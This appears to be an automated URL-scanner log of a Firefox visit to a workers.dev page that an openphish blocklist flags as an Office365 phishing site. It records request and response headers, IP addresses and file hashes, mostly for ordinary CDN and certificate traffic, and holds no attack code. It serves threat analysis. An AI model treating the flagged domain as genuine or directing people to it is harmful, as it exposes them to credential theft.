Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         143.204.55.36
HTTP/1.1 200 OK
Content-Type: application/json
                                        
Content-Length: 939
Connection: keep-alive
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Content-Length, Content-Type, Alert, Backoff, Retry-After
Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
Date: Mon, 19 Sep 2022 11:12:40 GMT
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Cache: Hit from cloudfront
Via: 1.1 8ddb6d7670d8c5a85c04a10525a71b90.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: OSL50-C1
X-Amz-Cf-Id: BSBcffSUwO3sZ0DqIJZS8dhoQWCCRBAgukH0OF4Zok7IZjemRFZ_Gw==
Age: 1190


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (939), with no line terminators
Size:   939
Md5:    91dd975a7b17b2922dd23c0e49314e40
Sha1:   57a2ece1e3cee7c4ebf927f2ba92f52cac395fe2
Sha256: 09966873bbf317f8910c59544cfde2a6d46e8acd2905797cc7c85c6b4d18ea8a
                                        
                                            GET /chains/remote-settings.content-signature.mozilla.org-2022-10-30-18-47-44.chain HTTP/1.1 
Host: content-signature-2.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         143.204.55.35
HTTP/2 200 OK
content-type: binary/octet-stream
                                        
content-length: 5348
last-modified: Sat, 10 Sep 2022 18:47:45 GMT
content-disposition: attachment
accept-ranges: bytes
server: AmazonS3
date: Mon, 19 Sep 2022 04:35:14 GMT
etag: "6113f8408c59aebe188d6af273b90743"
x-cache: Hit from cloudfront
via: 1.1 bcd5dadccb0831729969c938747ff79a.cloudfront.net (CloudFront)
x-amz-cf-pop: OSL50-C1
x-amz-cf-id: P9KD0LRiFTQ-sOGV6OG326zrZcKi0RBxmIw_G8oqfzG_YObzwNPrcA==
age: 25037
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PEM certificate\012- , ASCII text
Size:   5348
Md5:    6113f8408c59aebe188d6af273b90743
Sha1:   7398873bf00f99944eaa77ad3ebc0d43c23dba6b
Sha256: b6e0cc9ad68306208a160f3835fb8da76acc5a82d8fde1da5a98e1de1c11a770
                                        
                                            GET /v1/tiles HTTP/1.1 
Host: contile.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.117.237.239
HTTP/2 200 OK
content-type: application/json
                                        
server: nginx
date: Mon, 19 Sep 2022 11:32:30 GMT
content-length: 12
strict-transport-security: max-age=31536000
via: 1.1 google
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with no line terminators
Size:   12
Md5:    23e88fb7b99543fb33315b29b1fad9d6
Sha1:   a48926c4ec03c7c8a4e8dffcd31e5a6cdda417ce
Sha256: 7d8f1de8b7de7bc21dfb546a1d0c51bf31f16eee5fad49dbceae1e76da38e5c3
                                        
                                            GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 
Host: cdnjs.cloudflare.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev
Connection: keep-alive
Referer: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         104.17.24.14
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Mon, 19 Sep 2022 11:32:30 GMT
content-length: 6157
access-control-allow-origin: *
cache-control: public, max-age=30672000
content-encoding: br
etag: "5eb03fa9-4af4"
last-modified: Mon, 04 May 2020 16:15:37 GMT
cf-cdnjs-via: cfworker/kv
cross-origin-resource-policy: cross-origin
timing-allow-origin: *
x-content-type-options: nosniff
vary: Accept-Encoding
cf-cache-status: HIT
age: 1531575
expires: Sat, 09 Sep 2023 11:32:30 GMT
accept-ranges: bytes
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=l3Uc5Q0QXxTQotqDeKY4ovCr4AWUvO%2FkNILIpTAiJNgq71ScJKG2g4HtdvdzqBhxm5HW4ciacQHRukaJW8zOv9A1pIXjH8L4iHd9fFIIBofXY2EepkB0HIo5fJgF8365t26Pr6wN"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
strict-transport-security: max-age=15780000
server: cloudflare
cf-ray: 74d2004a7cf6b529-OSL
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (19015)
Size:   6157
Md5:    7b4114faa411d059a9a5ac4b5b4d9dee
Sha1:   277da4486916fa3a4ab3375f47bc98f58dbf90f6
Sha256: 60b3528de2f7d48cbb335d19dddef756aaacc70f73d4254a2ef17978a14ca0d9
                                        
                                            GET /jquery-3.3.1.min.js HTTP/1.1 
Host: code.jquery.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         69.16.175.42
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Mon, 19 Sep 2022 11:32:30 GMT
content-encoding: gzip
content-length: 30288
last-modified: Fri, 20 Aug 2021 17:47:53 GMT
accept-ranges: bytes
server: nginx
etag: W/"611feac9-1538f"
cache-control: max-age=315360000, public
access-control-allow-origin: *
vary: Accept-Encoding
x-hw: 1663587150.dop211.sk1.t,1663587150.cds212.sk1.hn,1663587150.cds072.sk1.c
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (65451)
Size:   30288
Md5:    d549b312f7a7d228b4ec229a6547dfdc
Sha1:   0766794582ad530ec0f8c2595f741086afffa312
Sha256: f6488b2915e0ceee723f4320492511d46c6ba1860d5975d085e6da8913f55f44
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 19 Sep 2022 11:32:30 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /jquery-3.3.1.js HTTP/1.1 
Host: code.jquery.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev
Connection: keep-alive
Referer: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         69.16.175.42
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Mon, 19 Sep 2022 11:32:30 GMT
content-encoding: gzip
content-length: 80268
last-modified: Fri, 20 Aug 2021 17:47:53 GMT
accept-ranges: bytes
server: nginx
etag: W/"611feac9-42587"
cache-control: max-age=315360000, public
access-control-allow-origin: *
vary: Accept-Encoding
x-hw: 1663587150.dop013.sk1.t,1663587150.cds250.sk1.hn,1663587150.cds214.sk1.c
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text
Size:   80268
Md5:    9fd458b477c45f28862c10eeee99263f
Sha1:   bcfceda34c540b9957758de619b288362188bb0b
Sha256: ef82ed7916ef7c6cb059d150c8b1e102c57e0e174ea6a1dfbcd0c286c465ba0f
                                        
                                            GET /jquery-3.2.1.slim.min.js HTTP/1.1 
Host: code.jquery.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev
Connection: keep-alive
Referer: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         69.16.175.42
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Mon, 19 Sep 2022 11:32:30 GMT
content-encoding: gzip
content-length: 23856
last-modified: Fri, 12 Aug 2022 13:47:02 GMT
accept-ranges: bytes
server: nginx
etag: W/"62f659d6-10fdd"
cache-control: max-age=315360000, public
access-control-allow-origin: *
vary: Accept-Encoding
x-hw: 1663587150.dop013.sk1.t,1663587150.cds250.sk1.hn,1663587150.cds235.sk1.c
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (32012)
Size:   23856
Md5:    30f5157a965bc792a83e9bacfe265f03
Sha1:   8330886371fe27f3cbac509e0ac9712207574c66
Sha256: 4d12cab1f84ec2ac780bc8e0d865d9c61025be579c78d6532d76f0574d17fca0
                                        
                                            GET /jquery-3.1.1.min.js HTTP/1.1 
Host: code.jquery.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         69.16.175.42
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Mon, 19 Sep 2022 11:32:30 GMT
content-encoding: gzip
content-length: 30070
last-modified: Fri, 20 Aug 2021 17:47:53 GMT
accept-ranges: bytes
server: nginx
etag: W/"611feac9-152b5"
cache-control: max-age=315360000, public
access-control-allow-origin: *
vary: Accept-Encoding
x-hw: 1663587150.dop211.sk1.t,1663587150.cds212.sk1.hn,1663587150.cds010.sk1.c
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (32030)
Size:   30070
Md5:    f7a4a283c6a5130b43ce8de3b7842078
Sha1:   ef243edbb67f9e50f8589885e4541f6c919ea8d7
Sha256: aee9e5b2534ced87fe1e02a1a9e661468ba548e02edacbe9b68b3b247607dc4e
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 19 Sep 2022 11:32:30 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /ajax/libs/jquery/2.2.4/jquery.min.js HTTP/1.1 
Host: ajax.googleapis.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         142.250.74.42
HTTP/2 200 OK
content-type: text/javascript; charset=UTF-8
                                        
accept-ranges: bytes
vary: Accept-Encoding
content-encoding: gzip
access-control-allow-origin: *
content-security-policy-report-only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/hosted-libraries-pushers
cross-origin-resource-policy: cross-origin
cross-origin-opener-policy: same-origin; report-to="hosted-libraries-pushers"
report-to: {"group":"hosted-libraries-pushers","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/hosted-libraries-pushers"}]}
timing-allow-origin: *
content-length: 30028
x-content-type-options: nosniff
server: sffe
x-xss-protection: 0
date: Wed, 14 Sep 2022 21:06:53 GMT
expires: Thu, 14 Sep 2023 21:06:53 GMT
cache-control: public, max-age=31536000, stale-while-revalidate=2592000
age: 397537
last-modified: Tue, 03 Mar 2020 19:15:00 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (32065)
Size:   30028
Md5:    6d973c8b7e2439d958e09c0a1ab9fe50
Sha1:   05ae0830200c20b9a2dfd5a825adc400481a60fb
Sha256: f3c122dc227e829ed96b2a754296809201bd78abbad7ba50ef5079654e1cc894
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5188
Cache-Control: 'max-age=158059'
Date: Mon, 19 Sep 2022 11:32:30 GMT
Last-Modified: Mon, 19 Sep 2022 10:06:02 GMT
Server: ECS (ska/F71B)
X-Cache: HIT
Content-Length: 278

                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 19 Sep 2022 11:32:30 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 19 Sep 2022 11:32:30 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5188
Cache-Control: 'max-age=158059'
Date: Mon, 19 Sep 2022 11:32:30 GMT
Last-Modified: Mon, 19 Sep 2022 10:06:02 GMT
Server: ECS (ska/F71B)
X-Cache: HIT
Content-Length: 278

                                        
                                            GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 
Host: maxcdn.bootstrapcdn.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev
Connection: keep-alive
Referer: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         104.18.11.207
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Mon, 19 Sep 2022 11:32:30 GMT
vary: Accept-Encoding
cdn-pullzone: 252412
cdn-uid: b1941f61-b576-4f40-80de-5677acb38f74
cdn-requestcountrycode: DE
access-control-allow-origin: *
cache-control: public, max-age=31919000
etag: W/"14d449eb8876fa55e1ef3c2cc52b0c17"
last-modified: Mon, 25 Jan 2021 22:04:04 GMT
cdn-cachedat: 03/10/2022 17:24:53
cdn-proxyver: 1.02
cdn-requestpullcode: 200
cdn-requestpullsuccess: True
cdn-edgestorageid: 860
cdn-status: 200
timing-allow-origin: *
cross-origin-resource-policy: cross-origin
x-content-type-options: nosniff
cdn-requestid: 7acf2967ec5ea11621961a7f8e4ca856
cdn-cache: HIT
cf-cache-status: HIT
strict-transport-security: max-age=31536000; includeSubDomains; preload
server: cloudflare
cf-ray: 74d2004b1ffbb4f3-OSL
content-encoding: br
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (48664)
Size:   13858
Md5:    0d2d7262a098f401208e3ddc2b7e9763
Sha1:   59478f4e3bd12a94d163b6af89c1abeef03e40c0
Sha256: a95daa48ae2c19f19c800187f7f166cd2ee9d3cb31a4246db4ae78a812ff1879
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5696
Cache-Control: 'max-age=158059'
Date: Mon, 19 Sep 2022 11:32:31 GMT
Last-Modified: Mon, 19 Sep 2022 09:57:35 GMT
Server: ECS (ska/F71B)
X-Cache: HIT
Content-Length: 471

                                        
                                            GET /favicon.ico HTTP/1.1 
Host: office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev/

                                         
                                         172.67.140.169
HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
                                        
Date: Mon, 19 Sep 2022 11:32:31 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=H4kRAE7KKJzFuAYl8h7cDqE90kxASfZBJYL0S53J7vRqromrvh1LhA3Tv3Vm4zAdHmBZcpQcjV041jsvJ%2FfGVi26ZBfbGx3l0LBwIRUJ%2BDRv8DckdKIg4SC7Zzi3vDlkaGj0p%2F9Lh85QW0Es7zQMKWXaavIHuyTVC7RyjWhu2W0z35oqB3NoZsqGEo%2FXUcY%2BRYG2nwAa6pHQm6tbNdPew2%2BjNdvH4hLQvg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 74d2004fa92bb505-OSL
Content-Encoding: gzip
alt-svc: h2=":443"; ma=60


--- Additional Info ---
Magic:  HTML document, ASCII text, with very long lines (65536), with no line terminators
Size:   49860
Md5:    ee858c1c53d699c5c6d7a6e1c87cf0fd
Sha1:   d99d7a7ff3909c7a16bd7096c74ac5388e1204ca
Sha256: 948cd766ca2f3e39a1d4e7d0a4068446de384f7017aa91e1510edaa562feae10

Alerts:
  Blocklists:
    - openphish: Office365
                                        
                                            GET /releases/v5.7.0/webfonts/fa-solid-900.woff2 HTTP/1.1 
Host: use.fontawesome.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Origin: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev
Connection: keep-alive
Referer: https://use.fontawesome.com/
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
TE: trailers

                                         
                                         104.21.63.54
HTTP/2 200 OK
content-type: font/woff2
                                        
date: Mon, 19 Sep 2022 11:32:31 GMT
content-length: 74316
x-amz-id-2: 4t92GR573VO8QxYbKE9XoU+CggHyccUiLWH6w2CHXdNivGmF/VOXGVWWyPh13cCy0v4JIX0sTBI=
x-amz-request-id: PZA434895GYHFG3C
access-control-allow-origin: *
access-control-allow-methods: GET
access-control-max-age: 3000
vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
last-modified: Wed, 30 Jun 2021 15:45:37 GMT
etag: "52134b924fd61958f88323845deffc64"
cache-control: max-age=31556926
cf-cache-status: MISS
accept-ranges: bytes
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dlU6WSISrQOVY15t6jTZaStRcko4G4WxO1SpF1kvO97WGVGp%2BZ%2BmWeQ7GM1j0ZaJo1ttnXSrDxnC%2BV02ErbXWShFoinNe%2B0ZBonRL5SK8A1CRZJe8%2BYpNahLu3WJag9svUueku1P"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
server: cloudflare
cf-ray: 74d2004dc8731bfa-OSL
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Web Open Font Format (Version 2), TrueType, length 74316, version 329.30932\012- data
Size:   74316
Md5:    52134b924fd61958f88323845deffc64
Sha1:   cfccdf2c8be593220ea949989a5abc0b380ea2ac
Sha256: 658cf43db24e9d4c57890e958aa74656a13139754de24f19e706f0a355279e4d
                                        
                                            GET / HTTP/1.1 
Host: push.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 13
Origin: wss://push.services.mozilla.com/
Sec-WebSocket-Protocol: push-notification
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: vN5ZxiYDmFzHBYfWFPYmzA==
Connection: keep-alive, Upgrade
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

                                         
                                         54.191.222.112
HTTP/1.1 101 Switching Protocols
                                        
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: xp+ecake9ha9zyiuc8Hmy4C1zks=

                                        
                                            GET /4ecc10d9e8e446e3c7ef27358838f287.jpg HTTP/1.1 
Host: i.gyazo.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         172.64.151.252
HTTP/2 200 OK
content-type: image/jpeg
                                        
date: Mon, 19 Sep 2022 11:32:31 GMT
content-length: 106132
cf-ray: 74d2004ddffafac8-OSL
accept-ranges: bytes
access-control-allow-origin: https://gyazo.com
cache-control: public, max-age=31536000
etag: "4ecc"
expires: Tue, 19 Sep 2023 11:32:31 GMT
set-cookie: Gyazo_cfwoker=i; Secure; HttpOnly; SameSite=None; Expires=Tue, 01 Jan 2030 00:00:00 GMT
vary: Accept-Encoding
via: 1.1 google
cf-cache-status: HIT
access-control-allow-credentials: true
cf-bgj: h2pri
x-cache-level: ZS
server: cloudflare
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1, orientation=upper-left], baseline, precision 8, 1913x924, components 3\012- data
Size:   106132
Md5:    4ecc10d9e8e446e3c7ef27358838f287
Sha1:   3fd42d331a354574cb979b6d850abf8ca4240f63
Sha256: 14d3ed99ff2871f7ba1487ed93d66144b3855eff07858fb3c3dad23deb0940fa
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "741815F43B76661B9EDDE512BC9061CB4BC659B297E7D822BF8E68E5AAC9D23D"
Last-Modified: Sun, 18 Sep 2022 10:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=5816
Expires: Mon, 19 Sep 2022 13:09:28 GMT
Date: Mon, 19 Sep 2022 11:32:32 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "741815F43B76661B9EDDE512BC9061CB4BC659B297E7D822BF8E68E5AAC9D23D"
Last-Modified: Sun, 18 Sep 2022 10:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=5816
Expires: Mon, 19 Sep 2022 13:09:28 GMT
Date: Mon, 19 Sep 2022 11:32:32 GMT
Connection: keep-alive

                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F779fe432-124a-4d1a-8abf-cfb5054b48fd.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 10721
x-amzn-requestid: fadb4327-7392-42be-9167-16dd28876400
